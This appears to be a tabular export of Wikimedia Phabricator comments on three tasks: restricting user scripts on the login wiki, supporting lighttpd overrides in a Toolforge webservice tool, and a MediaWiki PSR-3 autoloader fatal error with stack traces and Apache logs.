+474172,Allow a script to work on login.wikimedia.org,You can ask @Jalexander but I can tell you that LCA approves such use.,,,1434223456,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0
+474128,Allow a script to work on login.wikimedia.org,I don't think it was actually intended for that? Perhaps we should disable that extension there too.,,,1434211382,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+474079,Allow a script to work on login.wikimedia.org,"It's used as a ""global CU wiki"" by stewards. [[ http://login.wikimedia.org/wiki/Special:ListUsers/checkuser | 1 ]]  [[https://meta.wikimedia.org/wiki/CheckUser_policy/Global_CheckUser_draft | 2 ]]",,,1434183014,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+473859,Allow a script to work on login.wikimedia.org,"@MarcoAurelio, can you describe what stewards are doing on loginwiki? The wiki has a very specific purpose, and probably shouldn't be used for managing users. But if that's what it's being used for, then there's probably a gap somewhere else.",,,1434138685,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0
+473788,Allow a script to work on login.wikimedia.org,"Well, now it's just invalid instead of potentially declined. Not a private security bug.",,,1434131491,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+473787,Allow a script to work on login.wikimedia.org,">>! In T102254#1360842, @Glaisher wrote:
+> From https://gerrit.wikimedia.org/r/#/c/154432/ 
+>> loginwiki has $wgAllowUserJs and $wgAllowUserCss set to false, so the extension wouldn't do anything anyways, so there's no point in enabling it there.
+
+I understand it is a special wiki and the vast majority of users just need to go there to set cookies on login. Maybe those with global 'edit' or 'editusercssjs' could be allowed to have some scripts there just for work? @csteipp",,,1434131340,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1
+473783,Allow a script to work on login.wikimedia.org,">>! In T102254#1360869, @MarcoAurelio wrote:
+>>>! In T102254#1360862, @Krenair wrote:
+>>>>! In T102254#1360847, @MarcoAurelio wrote:
+>>> Hmm, that email address there is bugging me... Any way to have it removed?
+>> 
+>> Nope, looks like you sent in via email.
+> 
+> Yep, I did. I didn't know the address would be visible if a registered account matched the email address. Something to learn for next time... :(
+
+I would expect that if there was no registered account, it would have been rejected.",,,1434130904,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,1,1,0,0,1
+473782,Allow a script to work on login.wikimedia.org,">>! In T102254#1360862, @Krenair wrote:
+>>>! In T102254#1360847, @MarcoAurelio wrote:
+>> Hmm, that email address there is bugging me... Any way to have it removed?
+> 
+> Nope, looks like you sent in via email.
+
+Yep, I did. I didn't know the address would be visible if a registered account matched the email address. Something to learn for next time... :(",,,1434130852,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,1,1,0,0,1
+473778,Allow a script to work on login.wikimedia.org,">>! In T102254#1360847, @MarcoAurelio wrote:
+> Hmm, that email address there is bugging me... Any way to have it removed?
+
+Nope, looks like you sent in via email.",,,1434130644,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1
+473776,Allow a script to work on login.wikimedia.org,"loginwiki is very specifically excluded from wmgUseGlobalCssJs so I would expect this to be declined, although I won't do it myself. I think we want to minimise the number of extensions installed there and also minimise the ability for anyone to do anything there other than log in. @csteipp?",,,1434130580,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,1,1,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0
+473775,Allow a script to work on login.wikimedia.org,"Hmm, that email address there is bugging me... Any way to have it removed?",,,1434130579,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0
+473774,Allow a script to work on login.wikimedia.org,"From https://gerrit.wikimedia.org/r/#/c/154432/ 
+> loginwiki has $wgAllowUserJs and $wgAllowUserCss set to false, so the extension wouldn't do anything anyways, so there's no point in enabling it there.",,,1434130529,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+101998,Make sure new webservice tool accepts lighttpd overrides,"Current webservice allows php overrides via
+
+```
+if [ ! -r $home/.lighttpd.conf ] || [[ ! $(cat ""$home/.lighttpd.conf"" | grep -P '^(?:[ \t]*fastcgi.server[ \t\+\(=]+"".php""|#no-default-php)') ]]; then
+```
+
+This is currently undocumented (see T101994), but maybe in use, so should be supported by the new webservice tool.",Low,25.0,1433947884,1467721812.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-sp5dimdulsrqhop3bcbr,task_description,resolved,True,c3,1,True,False,False,-4,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1
+688620,Make sure new webservice tool accepts lighttpd overrides,It does!,,,1467721812,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sp5dimdulsrqhop3bcbr,task_subcomment,,True,c3,3,True,,,52,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+472238,Make sure new webservice tool accepts lighttpd overrides,"oh, and for type==lighttpd-plain - because it's undocumented I'm just going to move them over manually when doing the switchover. There's a task for that somewhere, let me find it.",,,1433948609,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sp5dimdulsrqhop3bcbr,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+472237,Make sure new webservice tool accepts lighttpd overrides,"https://github.com/wikimedia/operations-software-tools-webservice/blob/master/toollabs/webservice/services/lighttpdwebservice.py#L100 reads it and appends it to itself, no?",,,1433948582,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sp5dimdulsrqhop3bcbr,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0
+472234,Make sure new webservice tool accepts lighttpd overrides,"No, it doesn't. These are switches based on content .lighttpd.conf, while https://github.com/wikimedia/operations-software-tools-webservice/blob/master/toollabs/webservice/services/lighttpdwebservice.py only switches based on a command-line flag.
+
+I don't think we have to support the flags, but we should detect them and error out with a message to use --type=lighttpd-plain",,,1433948524,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-sp5dimdulsrqhop3bcbr,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+472223,Make sure new webservice tool accepts lighttpd overrides,It already is! And the new webservice tool isn't deployed yet.,,,1433947928,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sp5dimdulsrqhop3bcbr,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+101814,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,"After update from 1.24 series to 1.25, I started having this error on certain pages. Currently the error shows up when I click Upload at the File Upload page (which is Dosya Yükle in Turkish translation), among others. 
+
+I did follow documentation on the release notes; MediaWiki was first installed from tarball, then I tried the git-compose install/update method. The psr directory exists in $IP/vendor. 
+
+> MediaWiki requires the PSR-3 logging library to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user. Please see mediawiki.org for help on installing the required components.MediaWiki requires the PSR-3 logging library to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user. Please see mediawiki.org for help on installing the required components. 
+
+I can reproduce the error. Mediawiki error report: 
+
+> ( ! ) Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in 
+> /srv/www/mywiki.mydomain.com/vendor/composer/ClassLoader.php on line 412
+> Call Stack
+> #	Time	Memory	Function	Location
+> 1	0.0001	241112	{main}( )	../index.php:0
+> 2	2.9770	2424544	MediaWiki->run( )	../index.php:41
+> 3	2.9770	2425104	MediaWiki->main( )	../MediaWiki.php:414
+> 4	3.0107	3203232	MediaWiki->performRequest( )	../MediaWiki.php:566
+> 5	3.0343	3415968	SpecialPageFactory::executePath( )	../MediaWiki.php:267
+> 6	3.0433	3966400	SpecialPage->run( )	../SpecialPageFactory.php:582
+> 7	3.0434	3966496	SpecialUpload->execute( )	../SpecialPage.php:384
+> 8	3.1018	5433712	SpecialUpload->processUpload( )	../SpecialUpload.php:195
+> 9	4.3216	7132504	SpecialUpload->showUploadWarning( )	../SpecialUpload.php:458
+> 10	4.3406	7381440	SpecialUpload->getDupeWarning( )	../SpecialUpload.php:368
+> 11	4.3538	7501392	TraditionalImageGallery->toHTML( )	../SpecialUpload.php:748
+> 12	4.3599	7838880	Linker::processResponsiveImages( )	../TraditionalImageGallery.php:136
+> 13	4.3625	7842584	File->transform( )	../Linker.php:895
+> 14	4.3644	7858520	File->generateAndSaveThumb( )	../File.php:1079
+> 15	4.3647	7860640	TransformationalImageHandler->doTransform( )	../File.php:1112
+> 16	4.3658	7866960	BitmapHandler->transformImageMagick( )	../TransformationalImageHandler.php:244
+> 17	4.3658	7868760	TransformationalImageHandler->getMagickVersion( )	../Bitmap.php:91
+> 18	4.3659	7869648	wfDebug( )	../TransformationalImageHandler.php:517
+> 19	4.3659	7870024	MediaWiki\Logger\LoggerFactory::getInstance( )	../GlobalFunctions.php:1055
+> 20	4.3659	7870120	interface_exists ( )	../LoggerFactory.php:97
+> 21	4.3659	7870440	Composer\Autoload\ClassLoader->loadClass( )	../LoggerFactory.php:0
+> 22	4.3659	7870440	Composer\Autoload\includeFile( )	../ClassLoader.php:301
+> MediaWiki requires the PSR-3 logging library to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user. Please see mediawiki.org for help on installing the required components.MediaWiki requires the PSR-3 logging library to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user. Please see mediawiki.org for help on installing the required components.
+> ( ! ) Fatal error: MediaWiki requires the <a href=""https://github.com/php-fig/log"">PSR-3 logging library</a> to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user. Please see <a href=""https://www.mediawiki.org/wiki/Download_from_Git#Fetch_external_libraries"">mediawiki.org</a> for help on installing the required components. in /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php on line 107
+> Call Stack
+> #	Time	Memory	Function	Location
+> 1	0.0001	241112	{main}( )	../index.php:0
+> 2	2.9770	2424544	MediaWiki->run( )	../index.php:41
+> 3	2.9770	2425104	MediaWiki->main( )	../MediaWiki.php:414
+> 4	3.0107	3203232	MediaWiki->performRequest( )	../MediaWiki.php:566
+> 5	3.0343	3415968	SpecialPageFactory::executePath( )	../MediaWiki.php:267
+> 6	3.0433	3966400	SpecialPage->run( )	../SpecialPageFactory.php:582
+> 7	3.0434	3966496	SpecialUpload->execute( )	../SpecialPage.php:384
+> 8	3.1018	5433712	SpecialUpload->processUpload( )	../SpecialUpload.php:195
+> 9	4.3216	7132504	SpecialUpload->showUploadWarning( )	../SpecialUpload.php:458
+> 10	4.3406	7381440	SpecialUpload->getDupeWarning( )	../SpecialUpload.php:368
+> 11	4.3538	7501392	TraditionalImageGallery->toHTML( )	../SpecialUpload.php:748
+> 12	4.3599	7838880	Linker::processResponsiveImages( )	../TraditionalImageGallery.php:136
+> 13	4.3625	7842584	File->transform( )	../Linker.php:895
+> 14	4.3644	7858520	File->generateAndSaveThumb( )	../File.php:1079
+> 15	4.3647	7860640	TransformationalImageHandler->doTransform( )	../File.php:1112
+> 16	4.3658	7866960	BitmapHandler->transformImageMagick( )	../TransformationalImageHandler.php:244
+> 17	4.3658	7868760	TransformationalImageHandler->getMagickVersion( )	../Bitmap.php:91
+> 18	4.3659	7869648	wfDebug( )	../TransformationalImageHandler.php:517
+> 19	4.3659	7870024	MediaWiki\Logger\LoggerFactory::getInstance( )	../GlobalFunctions.php:1055
+> 20	4.3659	7870120	interface_exists ( )	../LoggerFactory.php:97
+> 21	4.3659	7870440	Composer\Autoload\ClassLoader->loadClass( )	../LoggerFactory.php:0
+> 22	4.3659	7870440	Composer\Autoload\includeFile( )	../ClassLoader.php:301
+> 23	4.3676	7880328	MWExceptionHandler::handleFatalError( )	../MWExceptionHandler.php:0
+> 24	4.3676	7866992	MWExceptionHandler::logError( )	../MWExceptionHandler.php:265
+> 25	4.3678	7869072	wfDebugLog( )	../MWExceptionHandler.php:507
+> 26	4.3678	7869608	MediaWiki\Logger\LoggerFactory::getInstance( )	../GlobalFunctions.php:1155
+> 27	4.3678	7870160	trigger_error ( )	../LoggerFactory.php:107
+> 28	4.3678	7871592	MWExceptionHandler::handleError( )	../LoggerFactory.php:107
+> 29	4.3679	7883192	MWExceptionHandler::logError( )	../MWExceptionHandler.php:222
+> 30	4.3680	7886192	wfDebugLog( )	../MWExceptionHandler.php:507
+> 31	4.3680	7887656	MediaWiki\Logger\LoggerFactory::getInstance( )	../GlobalFunctions.php:1155
+> 32	4.3680	7888208	trigger_error ( )	../LoggerFactory.php:107
+> 
+
+
+And Apache error when I try/refresh the relevant page(s): 
+
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP Fatal error:  include(): Cannot redeclare class 
+> psr\\log\\loggerinterface in /srv/www/mywiki.mydomain.com/vendor/composer/ClassLoader.php on line 412, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP Stack trace:, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   1. {main}() /srv/www/mywiki.mydomain.com/index.php:0, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   2. MediaWiki->run() /srv/www/mywiki.mydomain.com/index.php:41, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   3. MediaWiki->main() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:414, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   4. MediaWiki->performRequest() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:566, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   5. SpecialPageFactory::executePath() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:267, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   6. SpecialPage->run() /srv/www/mywiki.mydomain.com/includes/specialpage/SpecialPageFactory.php:582, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   7. SpecialVersion->execute() /srv/www/mywiki.mydomain.com/includes/specialpage/SpecialPage.php:384, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   8. SpecialVersion->getExtensionCredits() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:129, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   9. SpecialVersion->getExtensionCategory() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:463, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  10. SpecialVersion->getCreditsForExtension() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:637, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  11. GitInfo->getHeadCommitDate() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:743, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  12. wfShellExec() /srv/www/mywiki.mydomain.com/includes/GitInfo.php:218, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  13. wfDebug() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:2802, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  14. MediaWiki\\Logger\\LoggerFactory::getInstance() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:1055, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  15. interface_exists() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:97, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  16. Composer\\Autoload\\ClassLoader->loadClass() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:0, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  17. Composer\\Autoload\\includeFile() /srv/www/mywiki.mydomain.com/vendor/composer/ClassLoader.php:301, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP Fatal error:  MediaWiki requires the <a href=""https://github.com/php-fig/log"">PSR-3 logging library</a> to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user.\n\nPlease see <a href=""https://www.mediawiki.org/wiki/Download_from_Git#Fetch_external_libraries"">mediawiki.org</a> for help on installing the required components. in /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php on line 107, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP Stack trace:, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   1. {main}() /srv/www/mywiki.mydomain.com/index.php:0, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   2. MediaWiki->run() /srv/www/mywiki.mydomain.com/index.php:41, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   3. MediaWiki->main() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:414, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   4. MediaWiki->performRequest() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:566, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   5. SpecialPageFactory::executePath() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:267, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   6. SpecialPage->run() /srv/www/mywiki.mydomain.com/includes/specialpage/SpecialPageFactory.php:582, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   7. SpecialVersion->execute() /srv/www/mywiki.mydomain.com/includes/specialpage/SpecialPage.php:384, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   8. SpecialVersion->getExtensionCredits() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:129, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   9. SpecialVersion->getExtensionCategory() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:463, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  10. SpecialVersion->getCreditsForExtension() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:637, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  11. GitInfo->getHeadCommitDate() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:743, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  12. wfShellExec() /srv/www/mywiki.mydomain.com/includes/GitInfo.php:218, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  13. wfDebug() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:2802, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  14. MediaWiki\\Logger\\LoggerFactory::getInstance() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:1055, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  15. interface_exists() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:97, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  16. Composer\\Autoload\\ClassLoader->loadClass() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:0, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
